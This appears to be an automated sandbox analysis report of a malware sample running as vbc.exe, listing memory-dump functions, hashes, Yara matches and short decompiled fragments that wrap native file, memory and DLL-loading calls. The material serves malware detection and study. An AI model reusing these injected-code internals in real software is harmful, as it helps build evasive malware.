Opcode Fuzzy Hash: 4e600c2f693008bce9e0da1fd82102e3df38b4271a9b0ac19fee4300c96508dc
Instruction Fuzzy Hash: 1F217FB54083809FCB06CF24D994B11BFB1EF46714F28C5EAD8458F266C33AD81ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0022D1C5, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2165616649.000000000022D000.00000040.00000001.sdmp, Offset: 0022D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ca9507e19c2a7b4060465d4d3ae2ac54722c789f8c6f3a4a3b624655f0b5f59
Instruction ID: b40ce57148dcddbe1e7f4bf0162bad4cc42e6258a943b0f8795c6fe2bba1750f
Opcode Fuzzy Hash: 4ca9507e19c2a7b4060465d4d3ae2ac54722c789f8c6f3a4a3b624655f0b5f59
Instruction Fuzzy Hash: 3C01A731018364EAE7204EA5E988BA7FBDCEF51324F14C55AED085A683C7B8E851C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 0022D1C4, Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2165616649.000000000022D000.00000040.00000001.sdmp, Offset: 0022D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af7f8c5bb15a1974324ea420f65d4618625f66db4bffeb373b812673d11694b
Instruction ID: d1701eabb94e2aeba8dde4267e32df5943820d3665c5538ace6b1fb0c1389393
Opcode Fuzzy Hash: 9af7f8c5bb15a1974324ea420f65d4618625f66db4bffeb373b812673d11694b
Instruction Fuzzy Hash: 83F06271404754AAE7108E55E888B67FF98EF91724F28C55AED485F287C378AC44CBB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00323B28, Relevance: 2.6, Strings: 2, Instructions: 148COMMON

Download Yara Rule

Strings

,;Z, xrefs: 00323B6B
@2Nm, xrefs: 00323D3C

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID: ,;Z$@2Nm
API String ID: 0-432663840
Opcode ID: b4e94a7a18e87e614e2ad896014d5ca44c81795b0af67f85eb5499e86200f59e
Instruction ID: 9de9238904695232081d617139559218f934de273533a4a87e9a7131c3a77565
Opcode Fuzzy Hash: b4e94a7a18e87e614e2ad896014d5ca44c81795b0af67f85eb5499e86200f59e
Instruction Fuzzy Hash: 8F518F70900219CFDB44EFB9E895A9D7BF7EB88308F10C939D004AB369DB7459068F91

Uniqueness

Uniqueness Score: -1.00%

Function 00323B38, Relevance: 2.6, Strings: 2, Instructions: 145COMMON

Download Yara Rule

Strings

,;Z, xrefs: 00323B6B
@2Nm, xrefs: 00323D3C

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID: ,;Z$@2Nm
API String ID: 0-432663840
Opcode ID: 78c1c5d7946053e9e067a0a5ee7335628b24dca0a49c849aa1d8db57b546f7c8
Instruction ID: 484a7666e63f4bfc3e91b11e05f33b8c00bbaec5d311281bf9e213ccb4956240
Opcode Fuzzy Hash: 78c1c5d7946053e9e067a0a5ee7335628b24dca0a49c849aa1d8db57b546f7c8
Instruction Fuzzy Hash: E0516F70900219CFDB44EFB9E895A9D7BF7EB88708F10C939D008AB369DB7459059F91

Uniqueness

Uniqueness Score: -1.00%

Function 0032CBA8, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cce7feb90b96690718e59cdc2fed2647d20b99b96e251bd2c70fab09bd4c4213
Instruction ID: e9e191a5b802dee7f45b634b910c48ebd36c3a2c0080171276e7ed3a185259d0
Opcode Fuzzy Hash: cce7feb90b96690718e59cdc2fed2647d20b99b96e251bd2c70fab09bd4c4213
Instruction Fuzzy Hash: 8D118E30D042688FCB15CFA9D458BEEBBF0AF4E300F14A069D405B3290CB784944DF68

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: vbc.exe PID: 2792 Parent PID: 2692 vbc.exeCOMMON

Executed Functions

Function 0041826B, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5

Strings

R=A, xrefs: 00418292, 004182A0
R=A, xrefs: 004182AD, 004182B4

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: 7ea1243988cb43d7987e9c51a931ca8853084e0a59f3dd7831428a94327e4dfb
Instruction ID: f451115c09b920d92a5fd05ca00846cf54d5418a0296e33ddea18591f4f3e525
Opcode Fuzzy Hash: 7ea1243988cb43d7987e9c51a931ca8853084e0a59f3dd7831428a94327e4dfb
Instruction Fuzzy Hash: 25F01DB2200108AFCB04CF99DC81EEB77A9EF8C314F05864DFA1DA7240C630E915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00418270, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418270(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E00418DC0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d52
				_t12 =  &_a8; // 0x413d52
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5

Strings

R=A, xrefs: 00418292, 004182A0
R=A, xrefs: 004182AD, 004182B4

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 44195af4cfcd7844dc5464a96f27935e8bb9154da72c22cdf586d036b66e8624
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 8EF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158649BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418212, Relevance: 1.6, APIs: 1, Instructions: 65filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00408AF3,?,00413B97,00408AF3,FFFFFFFF,?,?,FFFFFFFF,00408AF3,00413B97,?,00408AF3,00000060,00000000,00000000), ref: 0041820D

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3fbe1696cb741bf659991f935a0d666964003ba572ba314010a9c4c969905925
Instruction ID: d31db967d1bd3099456bb1400c261861dab288ebe798f167666cb1c024e90675
Opcode Fuzzy Hash: 3fbe1696cb741bf659991f935a0d666964003ba572ba314010a9c4c969905925
Instruction Fuzzy Hash: 9411B2B6204208AFCB18CF98D880EEB77E9AF8C354B158249FA1DD7251C634E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B20, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B20(void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t15;
				struct _OBJDIR_INFORMATION _t17;
				struct _OBJDIR_INFORMATION _t18;
				void* _t30;
				void* _t31;
				void* _t32;

				_v8 =  &_v536;
				_t15 = E0041AB50( &_v12, 0x104, _a8);
				_t31 = _t30 + 0xc;
				if(_t15 != 0) {
					_t17 = E0041AF70(__eflags, _v8);
					_t32 = _t31 + 4;
					__eflags = _t17;
					if(_t17 != 0) {
						E0041B1F0( &_v12, 0);
						_t32 = _t32 + 8;
					}
					_t18 = E00419300(_v8);
					_v16 = _t18;
					__eflags = _t18;
					if(_t18 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t18;
				} else {
					return _t15;
				}
			}

0x00409b3c
0x00409b3f
0x00409b44
0x00409b49
0x00409b53
0x00409b58
0x00409b5b
0x00409b5d
0x00409b65
0x00409b6a
0x00409b6a
0x00409b71
0x00409b79
0x00409b7c
0x00409b7e
0x00409b92
0x00000000
0x00409b94
0x00409b9a
0x00409b4e
0x00409b4e
0x00409b4e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 00409B92

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction ID: f6872c6640a97d379917802917a35d8835196bd2b620e753e6f67e56f73dccdd
Opcode Fuzzy Hash: 54eed7fb54c4bb33c5ecf3c62be074d2fec7e96364ab3bba8fcd8ce07f2b6dc1
Instruction Fuzzy Hash: EC0100B5D0010DBBDB10DAA5EC42FDEB778AB54318F0041A9A908A7281F635EA54C795

Uniqueness

Uniqueness Score: -1.00%

Function 004181BA, Relevance: 1.5, APIs: 1, Instructions: 41filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00408AF3,?,00413B97,00408AF3,FFFFFFFF,?,?,FFFFFFFF,00408AF3,00413B97,?,00408AF3,00000060,00000000,00000000), ref: 0041820D

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bb0e7c4af8417709323e554639fcc7c5a8eb6962a7b82652d8be3a2e7884cbeb
Instruction ID: 57e5c2ffd6acdfa5cfcf8217af27d827897073ebbc57d03507e6283b031a4aca
Opcode Fuzzy Hash: bb0e7c4af8417709323e554639fcc7c5a8eb6962a7b82652d8be3a2e7884cbeb
Instruction Fuzzy Hash: 4401EFB2200108AFCB08CF88DC94EEB37A9AF8C744F15824CFA0DD7240CA30E8118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004181C0, Relevance: 1.5, APIs: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00408AF3,?,00413B97,00408AF3,FFFFFFFF,?,?,FFFFFFFF,00408AF3,00413B97,?,00408AF3,00000060,00000000,00000000), ref: 0041820D

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction ID: 76db84dd9462a71377061bd321799a59568980bd09e0245c51acac76316ecf65
Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
Instruction Fuzzy Hash: 52F0B6B2200208ABCB08CF89DC85DEB77ADAF8C754F158248FA0D97241C630E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 004183A0, Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004183A0(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;
				void* _t21;

				_t3 = _a4 + 0xc60; // 0xca0
				E00418DC0(_t21, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x004183af
0x004183b7
0x004183d9
0x004183dd

APIs

NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,00418F94,?,00000000,?,00003000,00000040,00000000,00000000,00408AF3), ref: 004183D9

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction ID: ed05b43336be2385218ce2c210938f1a749d46cd8ec257da0df7421e0e4bafff
Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
Instruction Fuzzy Hash: BCF015B2200208ABCB14DF89DC81EEB77ADAF88754F118549FE0897241CA30F810CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 004182F0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004182F0(intOrPtr _a4, void* _a8) {
				long _t8;
				void* _t11;

				_t5 = _a4;
				_t2 = _t5 + 0x10; // 0x300
				_t3 = _t5 + 0xc50; // 0x409743
				E00418DC0(_t11, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x004182f3
0x004182f6
0x004182ff
0x00418307
0x00418315
0x00418319

APIs

NtClose.NTDLL(00413D30,?,?,00413D30,00408AF3,FFFFFFFF), ref: 00418315

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction ID: fa02b1b0b4c248d7afc65a810b6911db7169f724aa7cfa6c67706bd771296af7
Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
Instruction Fuzzy Hash: F5D01776200314ABD710EF99DC85EE77BACEF48760F154499BA189B282CA30FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 00B400C4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B400CF

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction ID: e6c77262f5ba2182d122b5874ee39bb292c5f7eee28c199429390ea98cabeb31
Opcode Fuzzy Hash: 4bff211391be707d7e89478abb6bff82e3a2567f710e9bf85143fd517881f32a
Instruction Fuzzy Hash: 79B01272100940C7E309D724DD06F4B7210FFC0F01F008A3EA00B81851DA38A93CC846

Uniqueness

Uniqueness Score: -1.00%

Function 00B40078, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B40086

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction ID: 3a645d05db048e5a2937cf36c3d58d647fc753ae06e93f94360992995f7f05c0
Opcode Fuzzy Hash: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction Fuzzy Hash: 2AB012B1504640C7F304F704D905B16B212FBD0F00F408938A14F86591D73DAD2CC78B

Uniqueness

Uniqueness Score: -1.00%

Function 00B40048, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B40053

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction ID: 41e4343c146f66e2bb318e135f4e172b2897deff735033a37a94e91f6413aa4b
Opcode Fuzzy Hash: 2990f9787256fe8461cfe6d04bba8dff018c5c70436f30267b6dae5db6cec36e
Instruction Fuzzy Hash: DBB012B2100540C7E3099714D946B4B7210FB90F00F40C93BA11B81861DB3C993CD46A

Uniqueness

Uniqueness Score: -1.00%

Function 00B407AC, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B407B7

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 00B3F9F0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3F9FB

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 00B3F900, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3F90E

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FAE8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FAF3

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FAD0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FADB

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FBB8, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FBC3

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FB68, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FB73

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FC90, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FC9B

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
